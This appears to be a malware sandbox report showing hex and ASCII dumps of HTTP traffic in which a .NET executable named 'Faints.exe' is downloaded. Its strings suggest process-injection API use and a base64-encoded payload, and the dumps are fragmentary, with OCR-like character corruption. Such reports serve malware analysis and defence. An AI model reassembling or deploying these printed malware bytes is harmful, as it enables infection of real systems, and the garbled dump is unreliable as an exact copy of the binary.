3d 58 44 51 4e 6f 30 69 4e 54 32 71 32 39 62 6e 56 73 68 4e 6a 35 66 67 34 5a 4a 58 4¢c 57 68 45 39 62 59 4e 75 32 30
72 5a 6a 67 72 48 38 6e 78 58 4f 4a 4c 58 78 68 25 32 42 73 62 6d 6a 25 32 46 46 77 6d 30 62 68 42 47 35 50 7a 50 31
31 76 4f 36 78 45 35 61 7a 33 52 76 50 39 59 55 63 67 53 51 53 64 43 35 74 68 42 76 49 4d 76 35 6f 68 53 78 4c 4e 38 77
67 4b 66 4e 43 70 46 71 79 36 6¢ 78 33 6b 43 35 33 79 63 68 67 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a
22 63 66 2d 6e 65 6¢ 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30

Data Ascii: Report-To: {"endpoints":[{"url":"https:\/Va.nel.cloudflare.comV/report\/v3?s=XDQN00iNT2g29bnVshNj
5fg4ZIXLWhE9bYNu20rZjgrH8nxX0OJLXxh%2Bsbmj%2FFwmObhBG5PzP11vO6xE5az3RvP9YUcgSQSdC5thBvIMv50
hSxLN8wgKfNCpFqy6Ix3kC53ychg%3D%3D"}],"group™:"cf-nel","max_age":60

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 29 ee b1 80 00 00 00 00 00 00 00 00 €0 00 Oe 01 Ob 01
30 00 00 10 06 00 00 06 00 00 00 00 00 00 fe 2d 06 00 00 20 00 00 00 40 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04 O
000 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 06 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL)0- @@ @

Data Raw: 00 01 00 00 61 00 30 97 00 06 24 00 00 01 00 00 00 00 a2 a2 00 06 01 00 00 01 1e 02 6f 25 00 00 0a 2a 1a 7e
06 00 00 04 2a 00 32 28 10 00 00 06 02 80 06 00 00 04 2a 00 00 00 e 02 7h 07 00 00 04 2a 22 02 03 7d 07 00 00 04 2a
00 00 00 13 30 0d 00 a9 00 00 00 00 00 00 00 02 28 05 00 00 Oa 02 7e 09 00 00 04 3a 24 00 00 00 16 dO 04 00 00 1b 28
0e 00 00 0a d0 09 00 00 02 28 Oe 00 00 a 28 15 00 00 Oa 28 26 00 00 0a 80 09 00 00 04 7e 09 00 00 04 7b 27 00 00 Oa
7e 09 00 00 04 7e 08 00 00 04 3a 3a 00 00 00 18 72 6b 0a 00 70 14 d0 09 00 00 02 28 Oe 00 00 Oa 18 8d 26 00 00 01 25
16 17 14 28 28 00 00 0a a2 25 17 16 14 28 28 00 00 0a a2 28 29 00 00 Oa 28 2a 00 00 Oa 80 08 00 00 04 7e 08 00 00 04
7b 2b 00 00 Oa 7e 08 00 00 04 02 03 6f 2¢ 00 00 0a 6f 2d 00 00 0a 28 15

Data Ascii: a0$0%*~*2(*{* P0(~:$((((&~{~~::rkp(&%6((%((()(*~{+~0,0~(

Data Raw: 1b 00 00 06 13 06 12 07 fe 15 21 00 00 02 12 10 fe 15 1b 00 00 02 12 10 20 1b 00 10 00 7d 15 00 00 04 11 10
1308 17 8d 01 00 00 01 25 16 72 8¢ 00 00 70 16 28 08 00 00 06 a2 73 1b 00 00 06 13 09 02 7b 01 00 00 04 6f 51 00 00
06 25 13 12 39 09 00 00 00 11 12 8e 69 3a 09 00 00 00 16 €0 13 11 38 Ob 00 00 00 11 12 16 8f 0d 00 00 01 €0 13 11 11
11 28 07 00 00 Oa 13 05 11 11 Ob 11 11 07 7b 19 00 00 04 €0 58 Oc 14 13 12 07 7b 18 00 00 04 20 4d 5a 00 00 40 10 00
00 00 08 7b 1b 00 00 04 20 50 45 00 00 3b 02 00 00 00 16 2a 08 7c 1d 00 00 04 7b 1e 00 00 04 20 Ob 01 00 00 3b 02 00
00 00 16 2a 02 7b 01 00 00 04 6f 51 00 00 06 20 98 03 00 00 18 9¢ 12 0a fe 15 22 00 00 02 12 0a 11 0a 8c 22 00 00 02 28
08 00 00 0a 7d 2a 00 00 04 12 Oa 16 7d 36 00 00 04 08 7c 1d 00 00 04

Data Ascii: ! }96rp(s{0Q%9i:8({X{ MZ@{ PE:*|{ ;*{0Q ""(*}6|

Data Raw: 00 00 11 15 17 58 13 15 11 15 20 43 69 08 00 3f c6 ff ff ff 11 06 72 c2 04 00 70 16 28 08 00 00 06 6f 07 00 00
2b 11 07 7b 26 00 00 04 11 08 7b 16 00 00 04 6e le 6a 58 28 09 00 00 Oa 11 Ob 1a 7e 06 00 00 Oa 6f 25 00 00 06 3a 6b
0000 00 11 Ob 28 12 00 00 Oa 11 06 72 b5 01 00 70 16 28 08 00 00 06 6f 02 00 00 2b 11 07 7b 26 00 00 04 15 6f 29 00

00 06 39 40 00 00 00 11 06 72 4e 02 00 70 16 28 08 00 00 06 6f 03 00 00 2b 11 07 7b 26 00 00 04 6f 2d 00 00 06 26 11

06 72 4e 02 00 70 16 28 08 00 00 06 6f 03 00 00 2b 11 07 7b 27 00 00 04 6f 2d 00 00 06 26 16 2a 11 Ob 28 12 00 00 Oa O
8 7c 1d 00 00 04 7b 1f 00 00 04 13 0f 12 08 11 Oc 11 Of 6e 58 6d 7d 17 00 00 04 06 39 8a 00 00 00 11 06 72 9d 06 00 70 1
628 08 00 00 06 6f 09 00 00 2b 11 07 7b 27 00 00 04 12 08 €0 6f

Data Ascii: X Ci?rp(o+{&{njX(~0%:k(rp(0+{&0)9@rNp(0+{&0-&rNp(o+{'0-&*(|{nXm}9rp(o+{'o

Data Raw: 01 05 01 05 00 14 00 1f 00 02 01 00 00 4a 01 00 00 09 00 15 00 20 00 02 01 00 00 63 01 00 00 09 00 15 00 24
0002 01 00 00 6e 01 00 00 09 00 15 00 28 00 02 01 00 00 7c 01 00 00 09 00 15 00 2c 00 02 01 00 00 8e 01 00 00 09 00
1500 30 00 02 01 00 00 95 01 00 00 09 00 15 00 34 00 02 01 00 00 a2 01 00 00 09 00 15 00 38 00 02 01 00 00 ad 01 00
00 09 00 15 00 3c 00 02 01 00 00 b4 01 00 00 09 00 15 00 40 00 02 01 00 00 cb 01 00 00 09 00 15 00 44 00 02 01 00 00 d
901 00 00 09 00 15 00 48 00 02 01 00 00 €6 01 00 00 09 00 15 00 4c 00 11 01 10 00 f1 01 05 01 0d 00 15 00 50 00 11 01
10 00 10 02 34 00 0d 00 18 00 50 00 11 01 10 00 26 02 37 02 0d 00 1a 00 50 00 11 01 10 00 46 02 37 02 0d 00 1b 00 50
00 11 01 10 00 56 02 6a 00 0d 00 1e 00 50 00 11 01 10 00 64 02 79 02

Data Ascii: J c$n(|,048<@DHLP4P&7PF7PVjPdy
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kBytes
Timestamp transferred Direction Data

2021-11-18 09:30:21 UTC 8 IN Data Raw: 00 00 00 00 03 00 c6 01 6a 03 8f 04 4c 00 00 00 00 00 03 00 c6 01 3e 09 a5 04 59 00 00 00 00 00 03 00 c6 01
7509 c1 04 67 00 00 00 00 00 03 00 86 18 20 03 cc 00 6b 00 00 00 00 00 03 00 c6 01 6a 03 dO 04 6d 00 00 00 00 00 03
00 c6 01 3e 09 d8 04 70 00 00 00 00 00 03 00 c6 01 75 09 62 04 74 00 00 00 00 00 03 00 86 18 20 03 cc 00 76 00 00 00
00 00 03 00 c6 01 6a 03 dO 04 78 00 00 00 00 00 03 00 c6 01 3e 09 d8 04 7b 00 00 00 00 00 03 00 c6 01 75 09 62 04 7f O
000 00 00 00 03 00 86 18 20 03 cc 00 81 00 00 00 00 00 03 00 c6 01 6a 03 e6 04 83 00 00 00 00 00 03 00 c6 01 3e 09 ec
04 85 00 00 00 00 00 03 00 c6 01 75 09 f8 04 89 00 00 00 00 00 03 00 86 18 20 03 cc 00 8a 00 00 00 00 00 03 00 c6 01
6a 03 ff 04 8¢c 00 00 00 00 00 03 00 c6 01 3e 09 Ob 05 92 00 00 00 00
Data Ascii: jL>Yug kjim>pubt vjx>{ub j>u j>

2021-11-18 09:30:21 UTC 9 IN Data Raw: Ob 00 00 05 00 39 Ob 00 00 06 00 48 Ob 00 00 07 00 65 09 00 00 08 00 6e 09 00 00 01 00 19 Ob 00 00 02 00
2e 0b 00 00 03 00 7f 09 00 00 01 00 ec 06 00 00 02 00 fd 0a 00 20 01 00 ec Oa 00 20 01 00 ec Oa 00 00 02 00 65 09 00 00
03 00 6e 09 00 00 01 00 7f 09 00 00 01 00 61 08 00 00 02 00 e4 07 00 00 01 00 65 09 00 00 02 00 6e 09 00 00 01 00 7f
09 00 00 01 00 50 Ob 00 00 02 00 d2 04 00 00 01 00 52 Ob 00 00 02 00 57 Ob 00 00 01 00 52 Ob 00 00 02 00 57 Ob 00 00
03 00 65 09 00 00 04 00 6e 09 00 00 01 00 7f 09 00 00 01 00 61 08 00 00 01 00 d5 Oc 31 00 20 03 b0 00 Oc 00 20 03 cc
00 Oc 00 6a 03 d2 00 59 00 20 03 d7 00 09 00 20 03 d7 00 51 00 df 03 10 01 51 00 e4 03 13 01 89 00 f8 03 19 01 51 00
e4 03 1e 01 91 00 20 04 28 01 51 00 33 04 2c 01 99 00 52 04 3c 01 51 00
Data Ascii: 9Hen. enaenPRWRWenal jY QQQ (Q3,R<Q

2021-11-18 09:30:21 UTC 10 IN Data Raw: 19 00 Oe 00 1a 00 Oe 00 25 00 24 00 00 00 04 00 39 00 d9 08 38 00 23 01 38 00 32 01 38 00 37 01 38 00 41
01 38 00 46 01 38 00 4b 01 38 00 50 01 38 00 66 01 38 00 7e 01 38 00 83 01 38 00 4a 02 38 00 4f 02 00 46 61 69 6e 74
73 00 46 61 69 6e 74 73 2e 65 78 65 00 3c 4d 6f 64 75 6¢ 65 3e 00 50 72 6f 63 63 65 73 6f 72 57 72 61 70 70 65 72 4d 61
6e 61 67 65 72 00 46 61 69 6e 74 73 2e 4d 61 6e 61 67 65 72 73 00 4f 62 6a 65 63 74 00 53 79 73 74 65 6d 00 6d 73 63 6
f72 6¢ 69 62 00 53 79 73 74 65 6d 44 69 63 43 6¢ 61 73 73 00 46 61 69 6e 74 73 2e 43 6¢ 61 73 73 65 73 00 3c 3e 63 5f
5f 44 69 73 70 6¢ 61 79 43 6¢ 61 73 73 32 5f 30 00 53 63 68 65 6d 61 44 69 63 43 6¢ 61 73 73 00 50 72 69 6€ 74 65 72 53
65 72 76 65 72 53 65 72 69 61 6¢ 69 7a 65 72 00 46 61 69 6e 74 73
Data Ascii: %0$98#82878A8F8K8P8f8~88J80FaintsFaints.exe<Module>ProccesorWrapperManagerFaints.Managers
ObjectSystemmscorlibSystemDicClassFaints.Classes<>c__DisplayClass2_0SchemaDicClassPrinterServerSerializerFaints

2021-11-18 09:30:21 UTC 12 IN Data Raw: 63 72 6f 73 6f 66 74 2e 43 53 68 61 72 70 2e 52 75 6e 74 69 6d 65 42 69 6e 64 65 72 00 4d 69 63 72 6f 73 6f
66 74 2e 43 53 68 61 72 70 00 43 6f 6e 76 65 72 74 00 43 61 6¢ 6¢ 53 69 74 65 42 69 6e 64 65 72 00 53 79 73 74 65 6d
2e 5275 6e 74 69 6d 65 2e 43 6f 6d 70 69 6¢ 65 72 53 65 72 76 69 63 65 73 00 53 79 73 74 65 6d 2e 43 6f 72 65 00 43 53
68 61 72 70 42 69 6e 64 65 72 46 6¢ 61 67 73 00 43 61 6¢ 6¢C 53 69 74 65 60 31 00 46 75 6e 63 60 33 00 43 61 6¢ 6C 53
69 74 65 00 43 72 65 61 74 65 00 54 61 72 67 65 74 00 54 6f 43 68 61 72 41 72 72 61 79 00 43 68 61 72 00 46 69 6¢C 6C 4
1 6¢ 67 6f 00 67 65 74 5f 4c 65 6e 67 74 68 00 46 72 6f 6d 42 61 73 65 36 34 43 68 61 72 41 72 72 61 79 00 45 6e 63 6f 6
469 6e 67 00 53 79 73 74 65 6d 2e 54 65 78 74 00 67 65 74 5f 55
Data Ascii: crosoft.CSharp.RuntimeBinderMicrosoft.CSharpConvertCallSiteBinderSystem.Runtime.CompilerServicesSy
stem.CoreCSharpBinderFlagsCallSite*1Func'3CallSiteCreate TargetToCharArrayCharFillAlgoget_LengthFromB
ase64CharArrayEncodingSystem.Textget_U

2021-11-18 09:30:21 UTC 13 IN Data Raw: 6¢ 65 73 00 64 77 43 72 65 61 74 69 6f 6e 46 6¢ 61 67 73 00 6¢ 70 45 6e 76 69 72 6f 6e 6d 65 6e 74 00 6¢ 70
43757272 65 6e 74 44 69 72 65 63 74 6f 72 79 00 6¢c 70 53 74 61 72 74 75 70 49 6e 66 6f 00 6¢ 70 50 72 6f 63 65 73 74
6e 65 6d 67 65 53 68 74 61 50 6¢ 61 72 65 74 69 4c 65 74 61 6¢ 70 6d 65 54 69 72 55 6d 65 74 73 79 53 37 34 32 31 33
00 68 4e 65 77 54 6f 6b 65 6e 00 68 54 68 72 65 61 64 00 70 43 6f 6e 74 65 78 74 00 63 6f 6e 74 00 64 65 66 00 70 72 65
64 0050 72 6f 63 65 73 73 48 61 6e 64 6¢ 65 00 42 61 73 65 41 64 64 72 65 73 73 00 5a 65 72 6f 42 69 74 73 00 52 65 67
69 6f 6e 53 69 7a 65 00 41 6¢ 6¢ 6f 63 61 74 69 6f 6 54 79 70 65 00 50 72 6f 74 65 63 74 00 76 00 68 57 6e 64 00 6e 43
6d 64 53 68 6f 77 00 6d 5f 42 72 6f 61 64 63 61 73 74 65 72
Data Ascii: lesdwCreationFlagsIpEnvironmentipCurrentDirectorylpStartuplnfolpProcestnemgeShtaPlaretiLetalpmeTir
UmetsyS74213hNewTokenhThreadpContextcontdefpredProcessHandleBaseAddressZeroBitsRegionSizeAllocationT
ypeProtectvthWndnCmdShowm_Broadcaster

2021-11-18 09:30:21 UTC 14 IN Data Raw: 00 38 00 73 00 4c 00 77 00 38 00 2f 00 50 00 79 00 63 00 30 00 47 00 7a 00 6b 00 36 00 50 00 33 00 45 00 41
00 48 00 51 00 35 00 37 00 44 00 53 00 59 00 58 00 43 00 7a 00 41 00 36 00 4e 00 41 00 6f 00 72 00 4f 00 44 00 63 00
6b 00 54 00 6e 00 45 00 3d 00 00 80 97 4a 00 63 00 78 00 45 00 65 00 67 00 61 00 73 00 73 00 65 00 4d 00 6e 00 6f 00
73 00 69 00 6f 00 50 00 71 00 6d 00 73 00 4d 00 6¢ 00 65 00 64 00 6f 00 4d 00 65 00 63 00 69 00 76 00 72 00 65 00 53 0
0 6d 00 65 00 74 00 73 00 79 00 53 00 38 00 30 00 38 00 39 00 37 00 51 00 73 00 77 00 4f 00 6a 00 51 00 77 00 41 00 54
00 34 00 34 00 43 00 79 00 45 00 67 00 4d 00 77 00 73 00 63 00 45 00 54 00 52 00 35 00 4e 00 79 00 6b 00 51 00 4f 00
31 00 74 00 2b 00 00 80 87 49 00 63 00 78 00 45 00 65 00 67 00 61 00
Data Ascii: 8sLw8/Pyc0Gzk6P3EAHQ57DSYXCzA6NAorODckTnE=JcxEegasseMnosioPgmsMledoMecivreSmet
syS80897QswOjQWAT44CyEgMwscETR5NykQO1t+IcxEega

2021-11-18 09:30:21 UTC 16 IN Data Raw: 00 73 00 69 00 6f 00 50 00 71 00 6d 00 73 00 4d 00 6¢ 00 65 00 64 00 6f 00 4d 00 65 00 63 00 69 00 76 00 72
00 65 00 53 00 6d 00 65 00 74 00 73 00 79 00 53 00 38 00 30 00 38 00 39 00 37 00 58 00 35 00 66 00 63 00 42 00 67 00
4e 00 50 00 78 00 38 00 37 00 43 00 79 00 45 00 5a 00 42 00 77 00 73 00 63 00 43 00 7a 00 51 00 63 00 4d 00 78 00 63
00 52 00 66 00 6¢ 00 4e 00 7a 00 44 00 44 00 38 00 46 00 65 00 77 00 3d 00 3d 00 00 80 97 4a 00 63 00 78 00 45 00 65
00 67 00 61 00 73 00 73 00 65 00 4d 00 6e 00 6f 00 73 00 69 00 6f 00 50 00 71 00 6d 00 73 00 4d 00 6¢ 00 65 00 64 00 6f
00 4d 00 65 00 63 00 69 00 76 00 72 00 65 00 53 00 6d 00 65 00 74 00 73 00 79 00 53 00 38 00 30 00 38 00 39 00 37 00
6e 00 34 00 77 00 63 00 77 00 41 00 67 00 42 00 54 00 49 00 37 00 42
Data Ascii: sioPgmsMledoMecivreSmetsyS80897X5fcBgNPx87CyEZBwscCzQcMxcRfINZDD8Few==JcxEegas
seMnosioPgmsMledoMecivreSmetsyS80897n4wcwAgBTI7B

2021-11-18 09:30:21 UTC 17 IN Data Raw: 20 01 01 Oe 03 00 00 0a 03 00 00 01 08 00 02 01 12 80 8¢ 1d 1c 05 15 12 21 01 02 05 20 02 01 1c 18 04 20 00
1300 03 20 00 01 04 06 12 80 8c 03 20 00 02 2b 07 16 02 0f 11 70 0f 11 78 Oe 18 18 12 34 1180 84 11 6¢ 12 34 11 80 88
18 0a Ob 1d 05 09 11 6¢ 0f 05 45 1d 05 07 0f 11 80 80 08 02 06 18 05 00 01 18 0f 01 04 00 01 08 1c 04 00 01 18 Oa 04 Oa
01 12 4c 03 00 00 Oe 05 00 02 02 18 18 04 Oa 01 12 44 04 0a 01 12 48 04 00 01 01 08 04 0a 01 12 3c 04 0a 01 12 58 04
0a 01 12 5¢ 04 0a 01 12 40 03 20 00 0a 06 00 01 12 51 11 55 05 00 01 08 12 51 04 0a 01 12 50 04 00 01 18 08 08 00 04
01 1d 05 08 18 08 04 00 01 01 18 04 Oa 01 12 54 04 0a 01 12 60 02 06 0a 02 06 1c 02 00 00 05 00 02 Oe Oe 06 02 06 Oe
05 20 02 Oe Oe Oe 03 20 00 Oe 03 07 01 Oe 08 b0 3f 5f 7f 11 d5 Oa
Data Ascii: | +px4l4IELDH<X\@ QUQPT" ?_

2021-11-18 09:30:21 UTC 18 IN Data Raw: 73 00 73 00 65 00 4d 00 6e 00 6f 00 73 00 69 00 6f 00 50 00 71 00 6d 00 73 00 4d 00 6¢ 00 65 00 64 00 6f 00
4d 00 65 00 63 00 69 00 76 00 72 00 65 00 53 00 6d 00 65 00 74 00 73 00 79 00 53 00 38 00 30 00 38 00 39 00 37 00 46
00 5a 00 78 00 55 00 55 00 46 00 42 00 54 00 55 00 46 00 42 00 51 00 55 00 46 00 46 00 51 00 55 00 46 00 42 00 51 00
53 00 38 00 76 00 4f 00 45 00 46 00 42 00 54 00 47 00 64 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 0
055 00 46 00 52 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00
51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42
00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42
Data Ascii: sseMnosioPgmsMledoMecivreSmetsyS80897FZxUUFBTUFBQUFFQUFBQS8VOEFBTGABQUFBQUFBQU
FRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
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kBytes
Timestamp transferred Direction Data

2021-11-18 09:30:21 UTC 20 IN Data Raw: 00 30 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00
46 00 42 00 51 00 7a 00 55 00 77 00 57 00 6¢ 00 68 00 6f 00 4d 00 45 00 46 00 42 00 51 00 55 00 46 00 78 00 53 00 56
00 6¢ 00 43 00 51 00 55 00 46 00 42 00 5a 00 30 00 46 00 42 00 51 00 55 00 46 00 70 00 51 00 55 00 56 00 42 00 51 00
55 00 46 00 52 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51
00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 30 00 46 00 42 00 51 00 55 00 64 00 42 00 64 00 57 00 4e 00 75 00
54 00 6 00 6¢ 00 5a 00 64 00 30 00 46 00 42 00 51 00 55 00 39 00 52 00 52 00 55 00 46 00 42 00 51 00 55 00 46 00 33
00 51 00 55 00 56 00 42 00 51 00 55 00 46 00 6 00 51 00 55 00 46 00 42 00
Data Ascii: OFBQUFBQUFBQUFBQUFBQzUwWWIhoMEFBQUFXSVICQUFBZOFBQUFpQUVBQUFRQUFBQUFBQ
UFBQUFBQUFBQUFBQOFBQUABAWNUTNIZdOFBQUIRRUFBQUF3QUVBQUFNQUFB

2021-11-18 09:30:21 UTC 21 IN Data Raw: 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46
00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00
46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55
00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00
55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51
00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00
51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51
Data Ascii: UFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ
UFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ

2021-11-18 09:30:21 UTC 22 IN Data Raw: 00 46 00 42 00 52 00 53 00 39 00 6e 00 59 00 6d 00 56 00 42 00 55 00 55 00 46 00 48 00 59 00 33 00 68 00
76 0051 00 55 00 46 00 42 00 62 00 32 00 78 00 6e 00 55 00 47 00 4e 00 42 00 51 00 55 00 46 00 52 00 62 00 30 00 46
00 52 00 51 00 55 00 46 00 4c 00 4d 00 6a 00 68 00 6a 00 51 00 55 00 46 00 42 00 53 00 30 00 4e 00 36 00 61 00 55 00
5a 00 42 00 5a 00 30 00 46 00 42 00 51 00 6a 00 49 00 34 00 5a 00 45 00 46 00 42 00 51 00 55 00 74 00 47 00 65 00 47
00 4e 00 61 00 61 00 6¢ 00 5a 00 6e 00 51 00 55 00 46 00 42 00 52 00 57 00 78 00 47 00 62 00 6b 00 6¢ 00 43 00 51 00
55 00 46 00 43 00 64 00 32 00 4e 00 73 00 61 00 30 00 46 00 42 00 53 00 45 00 49 00 72 00 53 00 47 00 64 00 42 00 51
00 55 00 4e 00 70 00 5a 00 32 00 5a 00 42 00 51 00 55 00 46 00 4c 00 62 00
Data Ascii: FBRS9nYmVBUUFHY3hvQUFBb2xnUGNBQUFRbOFRQUFLMjhjQUFBSON6aUZBZOFBQjI4ZEFBQUtGeGNa
alZnQUFBRWxGbKICQUFCd2NsaOFBSEIr'SGdBQUNpZ2ZBQUFLb

2021-11-18 09:30:21 UTC 24 IN Data Raw: 6¢ 00 42 00 51 00 55 00 46 00 42 00 55 00 6b 00 4a 00 53 00 52 00 55 00 64 00 69 00 65 00 55 00 6¢ 00 43 00
51 00 55 00 46 00 5a 00 55 00 6b 00 4a 00 53 00 52 00 55 00 68 00 69 00 65 00 56 00 46 00 43 00 51 00 55 00 46 00 5a
00 55 00 6b 00 4a 00 53 00 52 00 55 00 55 00 76 00 5a 00 32 00 4a 00 5a 00 51 00 56 00 46 00 42 00 52 00 32 00 4e 00
35 00 64 00 30 00 46 00 42 00 51 00 58 00 41 00 72 00 4b 00 30 00 46 00 42 00 51 00 55 00 4a 00 44 00 56 00 58 00 52
00 47 00 65 00 56 00 6f 00 72 00 4f 00 57 00 64 00 42 00 51 00 55 00 4a 00 51 00 4e 00 45 00 63 00 7a 00 64 00 30 00
56 00 42 00 51 00 6d 00 35 00 4e 00 64 00 45 00 46 00 42 00 51 00 55 00 74 00 4b 00 57 00 55 00 51 00 30 00 51 00 55
00 46 00 42 00 52 00 55 00 74 00 42 00 53 00 55 00 46 00 42 00 51 00 33
Data Ascii: IBQUFBUKJSRUdieUICQUFZUKJSRUhieVFCQUFZUKJSRUUVZ2JZQVFBR2N5d0FBQXArKOFBQUIDVXRG
eVorOWdBQUJQNECzd0VBQmMSNJEFBQUIKWUQOQUFBRUtBSUFBQ3

2021-11-18 09:30:21 UTC 25 IN Data Raw: 00 42 00 51 00 55 00 46 00 42 00 62 00 48 00 64 00 4a 00 51 00 55 00 46 00 4e 00 5a 00 30 00 4e 00 42 00
51 00 55 00 46 00 4c 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42
00 51 00 55 00 46 00 42 00 52 00 30 00 46 00 42 00 51 00 55 00 46 00 36 00 5a 00 30 00 6¢ 00 42 00 51 00 55 00 35 00
52 00 51 00 30 00 46 00 42 00 51 00 55 00 52 00 42 00 51 00 55 00 46 00 42 00 51 00 32 00 64 00 42 00 51 00 55 00 46
00 53 00 63 00 33 00 64 00 43 00 51 00 55 00 4a 00 6e 00 51 00 56 00 46 00 42 00 51 00 55 00 46 00 6e 00 51 00 55 00
46 00 46 00 57 00 45 00 30 00 79 00 51 00 55 00 46 00 42 00 53 00 30 00 4e 00 6e 00 53 00 57 00 5a 00 44 00 62 00 7a
00 46 00 68 00 51 00 55 00 46 00 42 00 51 00 6b 00 70 00 6b 00 52 00 46 00
Data Ascii: BQUFBbHdJQUFNZONBQUFLQUFBQUFBQUFBQUFBQUFBROFBQUF6Z0IBQUSRQOFBQURBQUF
BQ2dBQUFSc3dCQUINQVFBQUFNQUFFWEOYQUFBSONNSWZDbzFhQUFBQKpkRF

2021-11-18 09:30:21 UTC 26 IN Data Raw: 33 00 51 00 55 00 46 00 43 00 61 00 6a 00 68 00 58 00 4c 00 79 00 38 00 76 00 4c 00 7a 00 4e 00 6€ 00 54 00
57 00 30 00 7a 00 5a 00 30 00 52 00 6¢ 00 51 00 58 00 6¢ 00 69 00 5a 00 55 00 46 00 42 00 57 00 58 00 46 00 44 00 55
00 33 00 42 00 43 00 57 00 6b 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 52 00 7a 00 68 00 42 00
51 00 55 00 46 00 43 00 52 00 6b 00 46 00 42 00 51 00 55 00 46 00 30 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 4e
00 51 00 55 00 46 00 42 00 51 00 56 00 42 00 42 00 51 00 55 00 46 00 43 00 51 00 57 00 64 00 42 00 51 00 55 00 46 00
48 00 4f 00 45 00 46 00 42 00 51 00 55 00 4a 00 4c 00 51 00 55 00 46 00 42 00 51 00 58 00 56 00 52 00 51 00 55 00 46
00 42 00 52 00 32 00 39 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46
Data Ascii: 3QUFCajhXLy8vLzNnTW0zZORIQXIiZUFBWXFDU3BCWKFBQUFBQUFBRzhBQUFCRKFBQUF
0QUFBQUFNQUFBQVBBQUFCQWIBQUFHOEFBQUJLQUFBQXVRQUFBR29BQUFBQUF

2021-11-18 09:30:21 UTC 28 IN Data Raw: 00 52 00 30 00 56 00 52 00 59 00 31 00 4a 00 43 00 51 00 6b 00 56 00 47 00 53 00 48 00 64 00 74 00 54 00 6¢
00 64 00 6e 00 51 00 55 00 46 00 42 00 55 00 31 00 68 00 52 00 4d 00 58 00 64 00 42 00 51 00 55 00 4a 00 44 00 5a 00
7a 00 4e 00 42 00 51 00 55 00 46 00 4c 00 59 00 33 00 70 00 6e 00 51 00 55 00 46 00 42 00 63 00 48 00 5a 00 79 00 55
00 55 00 46 00 42 00 51 00 6d 00 35 00 4a 00 4c 00 30 00 46 00 6e 00 51 00 6e 00 64 00 69 00 65 00 56 00 56 00 42 00
51 00 55 00 46 00 77 00 64 00 6b 00 39 00 42 00 52 00 55 00 46 00 43 00 61 00 45 00 56 00 49 00 52 00 56 00 46 00 52
00 55 00 6b 00 4a 00 53 00 4f 00 45 00 78 00 71 00 56 00 6d 00 39 00 42 00 51 00 55 00 46 00 46 00 62 00 44 00 42 00
4d 00 4f 00 45 00 46 00 42 00 51 00 56 00 46 00 76 00 54 00 6e 00 64 00
Data Ascii: ROVRY1JCQKVGSHdtTIdnQUFBU1hRMXdBQUJIDZzNBQUFLY3pnQUFBcHZyUUFBQmMS5JLOFnQndieVVBQU
Fwdk9BRUFCaEVIRVFRUkKISOExqVm9IBQUFFbDBMOEFBQVFvVTnd

2021-11-18 09:30:21 UTC 29 IN Data Raw: 51 00 6d 00 64 00 42 00 51 00 55 00 46 00 45 00 59 00 30 00 4e 00 42 00 51 00 55 00 45 00 35 00 51 00 57
00 64 00 42 00 51 00 55 00 46 00 33 00 51 00 55 00 46 00 42 00 51 00 54 00 68 00 42 00 51 00 55 00 46 00 46 00 59 00
